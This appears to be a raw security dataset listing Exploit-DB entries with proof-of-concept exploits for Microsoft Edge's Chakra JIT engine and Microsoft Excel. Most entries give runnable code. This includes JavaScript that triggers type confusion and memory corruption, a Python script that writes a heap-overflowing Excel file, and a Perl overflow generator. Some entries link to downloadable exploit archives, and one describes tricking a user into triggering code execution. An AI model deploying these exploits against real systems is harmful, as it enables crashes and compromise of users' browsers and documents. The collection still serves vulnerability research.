deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45214
Description: Microsoft Edge Chakra JIT - Parameter Scope Parsing Type Confusion
Type: dos
Platform: windows
Date: 2018-08-17
Author: Google Security Research

Exploit:
// PoC:

async function trigger(a = class b {
    [await 1]() {
    }
}) {
}

let spray = [];
for (let i = 0; i < 100000; i++) {
    spray.push(parseFloat.bind(1, 0x1234, 0x1234, 0x1234, 0x1234));
}

trigger();

/*
The PoC is invalid JavaScript, but Chakra does parse it without any exception and generates incorrect bytecode from that.

Here's the generated bytecode.

Function trigger ( (#1.1), #2) (In0, In1) (size: 36 [34])
      18 locals (8 temps from R10), 5 inline cache
    Constant Table:
    ======== =====
     R1 LdRoot    
     R2 LdC_A_I4   int:1 
     R3 Ld_A       (undefined)
     R4 LdFalse   
    
    Implicit Arg Ins:
    ======== === ===
     R5 ArgIn_A    In1
    
    0000   InitUndecl           R6 
    0002   TryCatch             x:004c (  71) 


  Line   1: a = class b {
  Col   24: ^
    0005   BrSrNeq_A            x:0048 (  62)  R5  R3 
    000a   NewScFunc            R13 = b()
    000d   InitClass            R13 
    0012   ProfiledLdFld        R14 = R13.prototype #0 <0> 
    0016   SetHomeObj           R13  R14 
    001b   NewScObjectSimple    R9 
    001d   ProfiledStFld        R9.value = R2 #1 <1> 
    0021   ProfiledStFld        R9.done = R4 #2 <2> 
    0025   Yield                R9  R9   <<-----------------------------------------------
    0028   ResumeYield          R15  R9 
    002b   NewScFunc            R16 = b.prototype[]()
    002e   SetComputedNameVar   R16  R15 
    0033   ProfiledLdFld        R14 = R13.prototype #0 <0> 
    0037   InitClassMemberComputedName R14[R15] = R16
    003d   SetHomeObj           R16  R14 
    0042   InitConst            R6  R13 
    0045   Ld_A                 R5  R13 
    0048   Leave               
    0049   Br                   x:0074 (  40) 
    004c   Catch                R10 
    004e   Nop                 
    004f   ProfiledLdRootFld    R11 = root.Promise #4 <4> 
    0055   ProfiledLdMethodFld  R12 = R11.reject #3 <3> 
    0059   StartCall            ArgCount: 2
    005c   ArgOut_A             Out0 = R11 
    005f   ArgOut_A             Out1 = R10 
    0062   ProfiledCallIWithICIndex R12 = R12(ArgCount: 2) <3>  <0> 
    006c   Ld_A                 R0  R12 
    006f   Leave               
    0070   Br                   x:0076 (   3) 
    0073   Leave               
    0074   LdUndef              R0 


  Line   5: }
  Col    1: ^
    0076   Ret              

Yield operations shoud not be performed under a try-catch block, but incorrectly generated bytecode allowed it at (a). This will lead to type confusion in the InterpreterStackFrame::OP_ResumeYield method.
*/
Exploit-DB #43723
Description: Microsoft Edge Chakra JIT - Stack-to-Heap Copy
Type: dos
Platform: windows
Date: 2018-01-17
Author: Google Security Research

Exploit:
/*
If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not exist in the stack. In these cases, the stack-allocated variables are copied to the heap. This is performed by the "*::BoxStackInstance" methods.

Here's an example.
function inlinee() {
    return inlinee.arguments[0];
}

function opt() {
    let stack_arr = [];
    // allocate segment to the heap
    for (let i = 0; i < 100; i++)
        stack_arr[i] = 0;

    let heap_arr = inlinee(stack_arr);
    heap_arr[0] = 2;

    print(stack_arr[0]);
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

"stack_arr" is allocated in the stack. When accessing "inlinee.arguments", the stack-allocated variable gets copied to the heap. Therefore, the copied-heap-variable "heap_arr" has the same structure with "stack_arr". The code shows that the two variables share the same buffer by printing out "2". This means, even if one of those arrays' type changes, the other array can access the same buffer with the previous type.

PoC:
*/

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined
    }

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();
Exploit-DB #44396
Description: Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) (1)
Type: dos
Platform: windows
Date: 2018-04-03
Author: Google Security Research

Exploit:
/*
Here's a snippet of JavascriptArray::BoxStackInstance. To fix  issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.

    template <typename T>
    T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
    {
        Assert(ThreadContext::IsOnStack(instance));
        // On the stack, the we reserved a pointer before the object as to store the boxed value
        T ** boxedInstanceRef = ((T **)instance) - 1;
        T * boxedInstance = *boxedInstanceRef;
        if (boxedInstance)
        {
            return boxedInstance;
        }

        const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
        if (ThreadContext::IsOnStack(instance->head))
        {
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
                inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
                T, instance, true, deepCopy);
        }
        else if(inlineSlotsSize)
        {
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
        }
        else
        {
            boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
        }

        *boxedInstanceRef = boxedInstance;
        return boxedInstance;
    }

PoC:
*/

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];

    // Allocate stack_ar->head to the heap
    stack_arr[20] = 1.1;

    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++)
        opt(new Function(''));  // Prevents to be inlined

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();
Exploit-DB #45572
Description: Microsoft Edge Chakra JIT - Type Confusion
Type: dos
Platform: windows
Date: 2018-10-09
Author: Google Security Research

Exploit:
/*
The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for a definite object, handling a native array as a definite object can lead to type confusion.

void
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)
{
    ...
    if (newValueType == ValueType::Uninitialized)
    {
        switch (typeId)
        {
        default:
            if (typeId > Js::TypeIds_LastStaticType)
            {
                Assert(typeId != Js::TypeIds_Proxy);
                if (objValueType.IsLikelyArrayOrObjectWithArray())
                {
                    // If we have likely object with array before, we can't make it definite object with array
                    // since we have only proved that it is an object.
                    // Keep the likely array or object with array.
                }
                else
                {
                    newValueType = ValueType::GetObject(ObjectType::Object);
                }
            }
            break;
        case Js::TypeIds_Array:
            // Because array can change type id, we can only make it definite if we are doing array check hoist
            // so that implicit call will be installed between the array checks.
            if (!DoArrayCheckHoist() ||
                (currentBlock->loop
                ? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)
                : !this->ImplicitCallFlagsAllowOpts(this->func)))
            {
                break;
            }
            if (objValueType.IsLikelyArrayOrObjectWithArray())
            {
                // If we have likely no missing values before, keep the likely, because, we haven't proven that
                // the array really has no missing values
                if (!objValueType.HasNoMissingValues())
                {
                    newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
                }
            }
            else
            {
                newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
            }
            break;
        }
    }
    ...
}

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;

    arr2.method(arr2[0] = {});

    arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
    opt(arr, 1);  // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
    opt(arr, arr.concat());
}

setTimeout(() => {
    opt(arr, arr);
    alert(arr);
}, 100);  // Waiting for the JIT server to finish its job.
Exploit-DB #43153
Description: Microsoft Edge Chakra: JIT - 'Lowerer::LowerBoundCheck' Incorrect Integer Overflow Check
Type: dos
Platform: windows
Date: 2017-11-16
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343

Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
    ...
    if(rightOpnd->IsIntConstOpnd())
    {
        IntConstType newOffset;
        if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
        {
            offset = newOffset;
            rightOpnd = nullptr;
            offsetOpnd = nullptr;
        }
    }
    ...
    if(!rightOpnd)
    {
        rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
    }
}

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.

PoC:
*/

function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();
Exploit-DB #43154
Description: Microsoft Edge Chakra: JIT - 'OP_Memset' Type Confusion
Type: dos
Platform: windows
Date: 2017-11-16
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1357

function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

The above JavaScript code is JITed as follows:

... CHECKING THE TYPE OF B ...
OP_Memset(a, v, a.length);
b[0] = 2.3023e-320;

But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.

The PoC shows that it can result in type confusion.

PoC:
*/

function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
    }

    let a = new Uint8Array(100);
    let b = [1.1, 2.2, 3.3];
    opt(a, b, {
        valueOf: () => {
            b[0] = {};
            return 0;
        }
    });

    print(b[0]);
}

main();
Exploit-DB #15088
Description: Microsoft Excel - HFPicture Record Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-23
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 23 0day binary anlysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

'''
 
  Title               :  Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  NO CVE
 
here is BA : http://www.exploit-db.com/moaub-23-microsoft-office-excel-2002-memory-corruption-vulnerability-0day/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15088.zip (moaub-23-excel-poc.zip)
Exploit-DB #15019
Description: Microsoft Excel - HFPicture Record Parsing Remote Code Execution
Type: dos
Platform: windows
Date: 2010-09-16
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 16 binary anlysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

  Title               :  Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1248

here is BA : http://www.exploit-db.com/maoub-16-microsoft-excel-hfpicture-record-parsing-remote-code-execution-vulnerability/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15019.rar (HFPicture_PoC.rar)
Exploit-DB #3193
Description: Microsoft Excel - Malformed Palette Record Denial of Service (PoC) (MS07-002)
Type: dos
Platform: windows
Date: 2007-01-25
Author: LifeAsaGeek

Exploit:
"""
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#[PII_REDACTED]204021506
   which is generated by DarunGrim
   ( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
    you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
>     def __init__(self):
>         BiffRecord.__init__(self)
>         self._rec_data = pack('<H', 0x0038) # number of colours
>         self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
<         result = ''
<         return result
---
>         return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
 - 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
    w = Workbook()
    ws = w.add_sheet('MS07-002 POC')
    w.save( "before.xls")


def ModifyXLS():
    try:
        f = open( "before.xls", "rb")
    except:
     print "File Open Error ! "
     sys.exit(0)

    str = f.read()
    f.close()

    #write to malformed xls file
    f = open( "after.xls", "wb")

    PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
    NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

    palette_idx = str.find( PaletteRecord)

    if palette_idx == -1:
     print "Cannot find Palette Record"
     sys.exit(0)

    str = str.replace( PaletteRecord, NewPaletteRecord)
    f.write( str)
    f.close()

if __name__ == "__main__":
    print "==========================================================="
    print "MS07-002 Malformed Palette Record vulnerability DOS POC "
    print "Create POC Excel File after.xls"
    print "by LifeAsaGeek at gmail.com"
    print "==========================================================="
    CreateXLS()
    ModifyXLS() 

# milw0rm.com [2007-01-25]
Exploit-DB #42995
Description: Microsoft Excel - OLE Arbitrary Code Execution
Type: dos
Platform: windows
Date: 2017-09-30
Author: Eduardo Braun Prado

Exploit:
Title: MS Office Excel (all versions) Arbitrary Code Execution Vulnerability

Date: September 30th, 2017.

Author: Eduardo Braun Prado

Vendor Homepage: http://www.microsoft.com/

Software Link: https://products.office.com/

Version: 2007,2010,2013,2016  32/64 bits (x86 and x64)

Tested on: Windows 10/8.1/8.0/7/Server 2012/Server 2008/Vista (X86 and x64)

CVE: 2017-0199


Description:

MS Excel contains a remote code execution vulnerability upon processing OLE objects. Although this is a different issue from the 
MS Word HTA execution vulnerability, it has been patched together, 'silently'. By performing some tests from the Word HTA PoC posted
on exploit-db[dot]com, it´s possible to exploit it through Excel too, however the target would need to either accept a security warning
regarding external links or double click inside the Excel window, same applies for Powerpoint, so I guess this is the reason, Word caught
the attention and no exploit PoC was made available to other Office apps.

This vulnerability exists in the way Excel handles parameters passed to the "DDEService" attribute of links, leading to the search for a 
program to display it. As it does not impose restrictions on what program is going to be executed, for instance, only programs located in the
Office install directory, it is possible to invoke arbitrary local programs with parameters, leading to system compromise.
Since Excel blocks automatic update of linked files, the target must be tricked into double clicking anywhere inside the document. 
(The linked object occupies basicly the whole document window). Without the patch applied no warning/prompt is shown;
With the patch a prompt is shown asking if it´s ok to run 'xxxx.exe', where 'xxxx.exe' can have arbitrary names as long as it´s at most 8 
chars long, so we could still fake/spoof it as another Office app (the app name cannot be the same of the legitimate, eg. 'Excel').


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42995.zip
Exploit-DB #15148
Description: Microsoft Excel - SxView Record Parsing Heap Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-29
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 29 binary analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
  
'''
  
  Title               :  Microsoft Excel SxView  Record Parsing Heap Memory Corruption
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1245
  
here is BA : http://www.exploit-db.com/moaub-29-microsoft-excel-sxview-record-parsing-memory-corruption/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15148.rar (moaub-29-exploit.rar)
Exploit-DB #1927
Description: Microsoft Excel - Unicode Local Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-06-18
Author: kingcope

Exploit:
###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spreadsheet::WriteExcel;

   my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");

   $worksheet = $workbook->add_worksheet();

   $format = $workbook->add_format();
   $format->set_bold();
   $format->set_color('red');
   $format->set_align('center');

   $col = $row = 5;
   $worksheet->write($row, $col, "kcope in da house! Click on the link!!!", $format);

   $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
   $worksheet->write_url(0, 0, "$a", "LINK");

# milw0rm.com [2006-06-18]
Exploit-DB #15065
Description: Microsoft Excel - WOPT Record Parsing Heap Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-21
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 21 binary analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
'''
 
  Title               :  Microsoft Excel WOPT Record Parsing Heap Memory Corruption
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1248
 
here is BA : http://www.exploit-db.com/moaub-21-microsoft-excel-wopt-record-parsing-heap-memory-corruption/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15065.rar (moaub-21-exploit.rar)
Exploit-DB #4121
Description: Microsoft Excel 2000/2003 - Sheet Name (PoC)
Type: dos
Platform: windows
Date: 2007-06-27
Author: ZhenHan.Liu

Exploit:
Vuln Exposed by: ZhenHan.Liu 
Team: Ph4nt0m Security Team
http://www.ph4nt0m.org
 
Tested on: Full Patched Excel 2003 Sp2, CN

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4121.zip (06[PII_REDACTED].zip)

# milw0rm.com [2007-06-27]